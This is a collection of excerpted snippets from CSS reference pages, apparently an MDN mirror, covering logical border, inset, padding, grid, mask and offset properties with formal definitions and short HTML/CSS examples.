... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-style' in that specification.
border-block-width - CSS: Cascading Style Sheets
the border-block-width css property defines the width of the logical block borders of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation.
... /* <'border-width'> values */ border-block-width: 5px; border-block-width: thick; the border width in the other dimension can be set with border-inline-width, which sets border-inline-start-width, and border-inline-end-width.
... formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-width' in that specification.
border-collapse - CSS: Cascading Style Sheets
formal definition initial valueseparateapplies totable and inline-table elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax collapse | separate examples a colorful table of browser engines html <table class="separate"> <caption><code>border-collapse: separate</code></caption> <tbody> <tr><th>browser</th> <th>layout engine</th></tr> <tr><td class="fx">firefox</td> <td class="gk">gecko</td></tr> <tr><td class="ed">edge</td> <td class="tr">edgehtml</td></tr> <tr><td class="sa">safari</td> <td class="wk">webkit</td></tr> <tr><td class="ch">chrome</td> <td class="bk">blink</td></tr> <tr><td cla...
...ss="op">opera</td> <td class="bk">blink</td></tr> </tbody> </table> <table class="collapse"> <caption><code>border-collapse: collapse</code></caption> <tbody> <tr><th>browser</th> <th>layout engine</th></tr> <tr><td class="fx">firefox</td> <td class="gk">gecko</td></tr> <tr><td class="ed">edge</td> <td class="tr">edgehtml</td></tr> <tr><td class="sa">safari</td> <td class="wk">webkit</td></tr> <tr><td class="ch">chrome</td> <td class="bk">blink</td></tr> <tr><td class="op">opera</td> <td class="bk">blink</td></tr> </tbody> </table> css .collapse { border-collapse: collapse; } .separate { border-collapse: separate; } table { display: inline-table; margin: 1em; border: dashed 5px; } table th, table td { border: solid 3px; } .fx { border-color: ...
...orange blue; } .gk { border-color: black red; } .ed { border-color: blue gold; } .tr { border-color: aqua; } .sa { border-color: silver blue; } .wk { border-color: gold blue; } .ch { border-color: red yellow green blue; } .bk { border-color: navy blue teal aqua; } .op { border-color: red; } result specifications specification status comment css level 2 (revision 1)the definition of 'border-collapse' in that specification.
border-inline-color - CSS: Cascading Style Sheets
the border-inline-color css property defines the color of the logical inline borders of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation.
... border-inline-color: yellow; border-inline-color: #f5f6f7; the border color in the other dimension can be set with border-block-color which sets border-block-start-color, and border-block-end-color.
... formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-color' in that specification.
border-inline-end-color - CSS: Cascading Style Sheets
the border-inline-end-color css property defines the color of the logical inline-end border of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation.
... syntax border-inline-end-color: rebeccapurple; border-inline-end-color: #663399; related properties are border-block-start-color, border-block-end-color, and border-inline-start-color, which define the other border colors of the element.
... formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-inline-end-color: red; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-color' in that specification.
border-inline-end-width - CSS: Cascading Style Sheets
the border-inline-end-width css property defines the width of the logical inline-end border of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation.
... initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length values <'border-width'> the width of the border.
... formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples applying a border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-inline-end-width' in that specification.
border-inline-start-width - CSS: Cascading Style Sheets
the border-inline-start-width css property defines the width of the logical inline-start border of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-start-wi...
...dth: 5px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-start-width' in that specification.
border-inline-style - CSS: Cascading Style Sheets
the border-inline-style css property defines the style of the logical inline borders of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation.
... /* <'border-style'> values */ border-inline-style: dashed; border-inline-style: dotted; border-inline-style: groove; the border style in the other dimension can be set with border-block-style, which sets border-block-start-style, and border-block-end-style.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html content <div> <p class="exampletext">example text</p> </div> css content div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-style' in that specification.
border-inline-width - CSS: Cascading Style Sheets
the border-inline-width css property defines the width of the logical inline borders of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation.
... /* <'border-width'> values */ border-inline-width: 5px 10px; border-inline-width: 5px; border-inline-width: thick; the border width in the other dimension can be set with border-block-width, which sets border-block-start-width, and border-block-end-width.
... formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typediscrete formal syntax <'border-top-width'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-inline-width: 5px 10px; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-width' in that specification.
clip - CSS: Cascading Style Sheets
WebCSSclip
hic"> <img id="top-left" src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped to upper left"> <img id="middle" src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped towards middle"> <img id="bottom-right" src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped to bottom right"> </p> result specifications specification status comment css masking module level 1the definition of 'clip' in that specification.
... candidate recommendation deprecates clip property, suggests clip-path as replacement.
... css level 2 (revision 1)the definition of 'clip' in that specification.
column-span - CSS: Cascading Style Sheets
/* keyword values */ column-span: none; column-span: all; /* global values */ column-span: inherit; column-span: initial; column-span: unset; an element that spans more than one column is called a spanning element.
...content in the normal flow that appears before the element is automatically balanced across all columns before the element appears.
...the text is equally distributed over the columns.</p> </article> css article { columns: 3; } h2 { column-span: all; } result specifications specification status comment css multi-column layout modulethe definition of 'column-span' in that specification.
<display-inside> - CSS: Cascading Style Sheets
these keywords are used as values of the display property, and can be used for legacy purposes as a single keyword, or as defined in the level 3 specification alongside a value from the <display-outside> keywords.
... html <div class="box"> <div class="float">i am a floated box!</div> <p>i am content inside the container.</p> </div> css .box { background-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; display: flow-root; } .float { float: left; width: 200px; height: 150px; background-color: white; border:1px solid black; padding: 10px; } result specifications specification status css display module level 3the definition of 'display-inside' in that specification.
... candidate recommendation ...
<display-outside> - CSS: Cascading Style Sheets
these keywords are used as values of the display property, and can be used for legacy purposes as a single keyword, or as defined in the level 3 specification alongside a value from the <display-inside> keywords.
... html <span>span 1</span> <span>span 2</span> css span { display: block; border: 1px solid rebeccapurple; } result specifications specification status css display module level 3the definition of 'display-outside' in that specification.
... candidate recommendation ...
flex-direction - CSS: Cascading Style Sheets
flexbox & the keyboard navigation disconnect — tink source order matters | adrian roselli mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial valuerowapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax row | row-reverse | column | column-reverse examples reversing flex container columns and rows html <h4>this is a column-reverse</h4> <div id="content"> <div ...
...background-color:yellow;">c</div> </div> css #content { width: 200px; height: 200px; border: 1px solid #c3c3c3; display: flex; flex-direction: column-reverse; } .box { width: 50px; height: 50px; } #content1 { width: 200px; height: 200px; border: 1px solid #c3c3c3; display: flex; flex-direction: row-reverse; } .box1 { width: 50px; height: 50px; } result specifications specification status comment css flexible box layout modulethe definition of 'flex-direction' in that specification.
... candidate recommendation initial definition ...
font-language-override - CSS: Cascading Style Sheets
/* keyword value */ font-language-override: normal; /* <string> values */ font-language-override: "eng"; /* use english glyphs */ font-language-override: "trk"; /* use turkish glyphs */ /* global values */ font-language-override: initial; font-language-override: inherit; font-language-override: unset; by default, html's lang attribute tells browsers to display glyphs designed specifically for that language.
...for instance, if a typeface doesn't have proper rules for the azeri language, you can force the font to use turkish glyphs, which follow similar rules.
...line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | <string> examples using danish glyphs html <p class="para1">default language setting.</p> <p class="para2">this is a string with the <code>font-language-override</code> set to danish.</p> css p.para1 { font-language-override: normal; } p.para2 { font-language-override: "dan"; } result specifications specification status comment css fonts module level 4the definition of 'font-language-override' in that specification.
font-variant-numeric - CSS: Cascading Style Sheets
riant-numeric: tabular-nums; /* <numeric-spacing-values> */ font-variant-numeric: diagonal-fractions; /* <numeric-fraction-values> */ font-variant-numeric: stacked-fractions; /* <numeric-fraction-values> */ font-variant-numeric: oldstyle-nums stacked-fractions; /* global values */ font-variant-numeric: inherit; font-variant-numeric: initial; font-variant-numeric: unset; this property can take one of two forms: either the keyword value normal or one or more of the other values listed below, space-separated, in any order.
... of the sil open font license, version 1.1: http://scripts.sil.org/cms/scripts/page.php?item_id=ofl_web */ @font-face { font-family: "source sans pro"; font-style: normal; font-weight: 400; src: url("https://mdn.mozillademos.org/files/15757/sourcesanspro-regular.otf") format("opentype"); } .ordinal { font-variant-numeric: ordinal; font-family: "source sans pro"; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-numeric' in that specification.
... candidate recommendation initial definition ...
gap (grid-gap) - CSS: Cascading Style Sheets
WebCSSgap
syntax /* one <length> value */ gap: 20px; gap: 1em; gap: 3vmin; gap: 0.5cm; /* one <percentage> value */ gap: 16%; gap: 100%; /* two <length> values */ gap: 20px 10px; gap: 1em 0.5em; gap: 3vmin 2vmax; gap: 0.5cm 2mm; /* one or two <percentage> values */ gap: 16% 100%; gap: 21px 82%; /* calc() values */ gap: calc(10% + 20px); gap: calc(20px + 10%) calc(10% - 5px); /* global values */ gap: inherit; gap: initial; gap: unset; this property is specified as a value for <'row-gap'> followed optionally by a value for <'column-gap'>.
...id containersinheritednocomputed valueas each of the properties of the shorthand:row-gap: as specified, with <length>s made absolute, and normal computing to zero except on multi-column elementscolumn-gap: as specified, with <length>s made absolute, and normal computing to zero except on multi-column elementsanimation typeas each of the properties of the shorthand:row-gap: a length, percentage or calc();column-gap: a length, percentage or calc(); formal syntax <'row-gap'> <'column-gap'>?
...</p> css .content-box { column-count: 3; gap: 40px; } result specifications specification status comment css box alignment module level 3the definition of 'gap' in that specification.
grid-auto-flow - CSS: Cascading Style Sheets
this may cause items to appear out-of-order, when doing so would fill in holes left by larger items.
..."row" : "column"; if (dense.checked) { gridautoflow += " dense"; } grid.style.gridautoflow = gridautoflow; } result specifications specification status comment css grid layoutthe definition of 'grid-auto-flow' in that specification.
... candidate recommendation initial definition ...
grid-template-areas - CSS: Cascading Style Sheets
those areas are not associated with any particular grid item, but can be referenced from the grid-placement properties grid-row-start, grid-row-end, grid-column-start, grid-column-end, and their shorthands grid-row, grid-column, and grid-area.
...r</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> css #page { display: grid; width: 100%; height: 250px; grid-template-areas: "head head" "nav main" "nav foot"; grid-template-rows: 50px 1fr 30px; grid-template-columns: 150px 1fr; } #page > header { grid-area: head; background-color: #8ca0ff; } #page > nav { grid-area: nav; background-color: #ffa08c; } #page > main { grid-area: main; background-color: #ffff64; } #page > footer { grid-area: foot; background-color: #8cffa0; } result specifications specification status comment css grid layoutthe definition of 'grid-template-areas' in that specification.
... candidate recommendation initial definition ...
grid-template - CSS: Cascading Style Sheets
use grid (as opposed to grid-template) to prevent these values from cascading in seperately.
.../ 120px 1fr; } header { background-color: lime; grid-area: head; } nav { background-color: lightblue; grid-area: nav; } main { background-color: yellow; grid-area: main; } footer { background-color: red; grid-area: foot; } html <section id="page"> <header>header</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> result specifications specification status comment css grid layoutthe definition of 'grid-template' in that specification.
... candidate recommendation initial definition ...
grid - CSS: Cascading Style Sheets
WebCSSgrid
note: you can only specify the explicit or the implicit grid properties in a single grid declaration.
.../ <'grid-template-columns'> examples creating a grid layout html <div id="container"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #container { display: grid; grid: repeat(2, 60px) / auto-flow 80px; } #container > div { background-color: #8ca0ff; width: 50px; height: 50px; } result specifications specification status comment css grid layoutthe definition of 'grid' in that specification.
... candidate recommendation initial definition ...
inline-size - CSS: Cascading Style Sheets
the inline-size css property defines the horizontal or vertical size of an element's block, depending on its writing mode.
... syntax /* <length> values */ inline-size: 300px; inline-size: 25em; /* <percentage> values */ inline-size: 75%; /* keyword values */ inline-size: max-content; inline-size: min-content; inline-size: fit-content(20em); inline-size: auto; /* global values */ inline-size: inherit; inline-size: initial; inline-size: unset; if the writing mode is vertically oriented, the value of inline-size relates to the height of the element; otherwise, it relates to the width of the element.
... formal definition initial valueautoapplies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples setting inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl; background-color: yellow; inline-size: 110px; } result specifications specification status comment css logical properties and values level 1the definition of 'inline-size' in that specification.
inset-block-end - CSS: Cascading Style Sheets
the inset-block-end css property defines the logical block end offset of an element, which maps to a physical inset depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting block end offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writi...
...ng-mode: vertical-rl; position: relative; inset-block-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block-end' in that specification.
inset-block-start - CSS: Cascading Style Sheets
the inset-block-start css property defines the logical block start offset of an element, which maps to a physical inset depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting block start offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { wri...
...ting-mode: vertical-lr; position: relative; inset-block-start: 20px; background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'inset-block-start' in that specification.
inset-block - CSS: Cascading Style Sheets
the inset-block css property defines the logical block start and end offsets of an element, which maps to physical offsets depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples setting block start and end offsets html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .examp...
...letext { writing-mode: vertical-lr; position: relative; inset-block: 20px 50px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block' in that specification.
inset-inline-end - CSS: Cascading Style Sheets
the inset-inline-end css property defines the logical inline end inset of an element, which maps to a physical inset depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting inline end offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writin...
...g-mode: vertical-rl; position: relative; inset-inline-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline-end' in that specification.
inset-inline-start - CSS: Cascading Style Sheets
the inset-inline-start css property defines the logical inline start inset of an element, which maps to a physical offset depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting inline start offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { wri...
...ting-mode: vertical-lr; position: relative; inset-inline-start: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline-start' in that specification.
inset-inline - CSS: Cascading Style Sheets
the inset-inline css property defines the logical start and end offsets of an element in the inline direction, which maps to physical offsets depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples setting inline start and end offsets html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .examp...
...letext { writing-mode: vertical-lr; position: relative; inset-inline: 20px 50px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline' in that specification.
inset - CSS: Cascading Style Sheets
WebCSSinset
the inset css property, though part of the logical specification, doesn't define logical block or inline offsets, and instead defines physical offsets, regardless of the element's writing mode, directionality, and text orientation.
...formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,4} examples setting offsets for an element html <div> <span class="exampletext">example text</span> </div> css div { background-color: yellow; width: 150px; height: 120px; positi...
...on: relative; } .exampletext { writing-mode: sideways-rl; position: absolute; inset: 20px 40px 30px 10px; background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset' in that specification.
list-style-position - CSS: Cascading Style Sheets
because this property is inherited, it can be set on the parent element (normally <ol> or <ul>) to let it apply to all list items.
...i>list item 3-1</li> <li>list item 3-2</li> <li>list item 3-3</li> <li>list item 3-4</li> </ul> css .inside { list-style-position: inside; list-style-type: square; } .outside { list-style-position: outside; list-style-type: circle; } .inside-img { list-style-position: inside; list-style-image: url("https://mdn.mozillademos.org/files/11979/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-position' in that specification.
... css level 2 (revision 1)the definition of 'list-style-position' in that specification.
margin-trim - CSS: Cascading Style Sheets
in-flow for in-flow boxes contained by this box, block-axis margins adjacent to the box's edges are truncated to zero.
... it also truncates any margins collapsed with such a margin.
...} specifications specification status css box model module level 4the definition of 'margin-trim' in that specification.
mask-border - CSS: Cascading Style Sheets
the source for the mask is a ".png" file of 90 by 90 pixels, with three diamonds going vertically and horizontally: html <div id="bitmap">this element is surrounded by a bitmap-based mask border!
...dth */ 1px /* outset */ round; /* repeat */ /* updated standard shorthand property, not supported anywhere yet */ mask-border: url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* slice */ 20px / /* width */ 1px /* outset */ round; /* repeat */ } result specifications specification status comment css masking module level 1the definition of 'mask-border' in that specification.
... candidate recommendation initial definition ...
mask-clip - CSS: Cascading Style Sheets
WebCSSmask-clip
s specifiedanimation typediscrete formal syntax [ <geometry-box> | no-clip ]#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples clipping a mask to the border box css #masked { width: 100px; height: 100px; background-color: #8cffa0; margin: 20px; border: 20px solid #8ca0ff; padding: 20px; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-size: 100% 100%; mask-clip: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="clipbox"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> ...
...option value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option value="view-box">view-box</option> <option value="no-clip">no-clip</option> </select> javascript var clipbox = document.getelementbyid("clipbox"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskclip = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-clip' in that specification.
... candidate recommendation initial definition ...
mask-composite - CSS: Cascading Style Sheets
iting-operator>#where <compositing-operator> = add | subtract | intersect | exclude examples compositing mask layers with addition css #masked { width: 100px; height: 100px; background-color: #8cffa0; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg), url(https://mdn.mozillademos.org/files/12676/star.svg); mask-size: 100% 100%; mask-composite: add; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="compositemode"> <option value="add">add</option> <option value="subtract">subtract</option> <option value="intersect">intersect</option> <option value="exclude">exclude</option> </select> javascript var clipbox = document.getelementbyid("compositemode"); clipbox.addeventlistener("change", function (evt) {...
... document.getelementbyid("masked").style.maskcomposite = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-composite' in that specification.
... candidate recommendation initial definition ...
mask-image - CSS: Cascading Style Sheets
)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
...top-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples setting a mask image with a url html <div id="masked"></div> css #masked { width: 100px; height: 100px; background-color: #8cffa0; -webkit-mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); } result specifications specification status comment css masking module level 1the definition of 'mask-image' in that specification.
... candidate recommendation initial definition ...
mask-origin - CSS: Cascading Style Sheets
ox | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples setting mask origin to border-box css #masked { width: 100px; height: 100px; margin: 10px; border: 10px solid blue; background-color: #8cffa0; padding: 10px; mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-origin: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="origin"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <op...
...tion value="view-box">view-box</option> </select> javascript var origin = document.getelementbyid("origin"); origin.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskorigin = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-origin' in that specification.
... candidate recommendation initial definition ...
offset-position - CSS: Cascading Style Sheets
it can be defined using one to four values.
... if two non-keyword values are used, the first value represents the horizontal position and the second represents the vertical position.
...<percentage> examples setting initial offset position <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); offset-position: left top; animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } specifications specification status comment motion path module level 1the definition of 'offset-position' in that specification.
offset - CSS: Cascading Style Sheets
WebCSSoffset
note: early versions of the spec called this property motion.
...e value, otherwise a percentageoffset-path: as specifiedoffset-distance: for <length> the absolute value, otherwise a percentageoffset-anchor: for <length> the absolute value, otherwise a percentageoffset-rotate: as specifiedanimation typeas each of the properties of the shorthand:offset-position: a positionoffset-path: as <angle>, <basic-shape> or <path()>offset-distance: a length, percentage or calc();offset-anchor: a positionoffset-rotate: as <angle>, <basic-shape> or <path()>creates stacking contextyes formal syntax [ <'offset-position'>?
... examples animating an element along a path html <div id="offsetelement"></div> css @keyframes move { from { offset-distance: 0%; } to { offset-distance: 100%; } } #offsetelement { width: 50px; height: 50px; background-color: blue; offset: path("m 100 100 l 300 100 l 200 300 z") auto; animation: move 3s linear infinite; } result specifications specification status comment motion path module level 1the definition of 'offset' in that specification.
overscroll-behavior-block - CSS: Cascading Style Sheets
the outer box has a large height set on it so the page will scroll vertically.
... the inner box has a small width (and height) set on it so it sits comforably inside the viewport, but its content is given a large height so it will also scroll vertically.
...50px; overscroll-behavior-block: contain; } div > div { height: 1500px; width: 100%; background-color: yellow; background-image: repeating-linear-gradient(to bottom, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } p { padding: 10px; background-color: rgba(255,0,0,0.5); margin: 0; width: 340px; position: relative; top: 10px; left: 10px; } result specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-block' in that specification.
overscroll-behavior-y - CSS: Cascading Style Sheets
the overscroll-behavior-y css property sets the browser's behavior when the vertical boundary of a scrolling area is reached.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples preventing an underlying element from scrolling vertically .messages { height: 220px; overflow: auto; overscroll-behavior-y: contain; } see overscroll-behavior for a full example and explanation.
... specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-y' in that specification.
padding-block-end - CSS: Cascading Style Sheets
the padding-block-end css property defines the logical block end padding of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation.
... formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block end padding for vertical text html content <div> <p class="exampletext">example text</p> </div> css content div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-end: 20px; backgro...
...und-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-end' in that specification.
padding-block-start - CSS: Cascading Style Sheets
the padding-block-start css property defines the logical block start padding of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation.
... formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-start: 20px; background-color: #c8...
...c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-start' in that specification.
padding-block - CSS: Cascading Style Sheets
the padding-block css shorthand property defines the logical block start and end padding of an element, which maps to physical padding properties depending on the element's writing mode, directionality, and text orientation.
... formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typediscrete formal syntax <'padding-left'>{1,2} examples setting block padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-block: 20px 40px; background-color: #c8c8...
...00; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block' in that specification.
padding-inline-end - CSS: Cascading Style Sheets
the padding-inline-end css property defines the logical inline end padding of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation.
... formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting inline end padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-end: 20px; background-color: #c8c8...
...00; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-end' in that specification.
padding-inline-start - CSS: Cascading Style Sheets
the padding-inline-start css property defines the logical inline start padding of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation.
... formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting inline start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-start: 20px; background-color: #...
...c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-start' in that specification.
padding-inline - CSS: Cascading Style Sheets
the padding-inline css shorthand property defines the logical inline start and end padding of an element, which maps to physical padding properties depending on the element's writing mode, directionality, and text orientation.
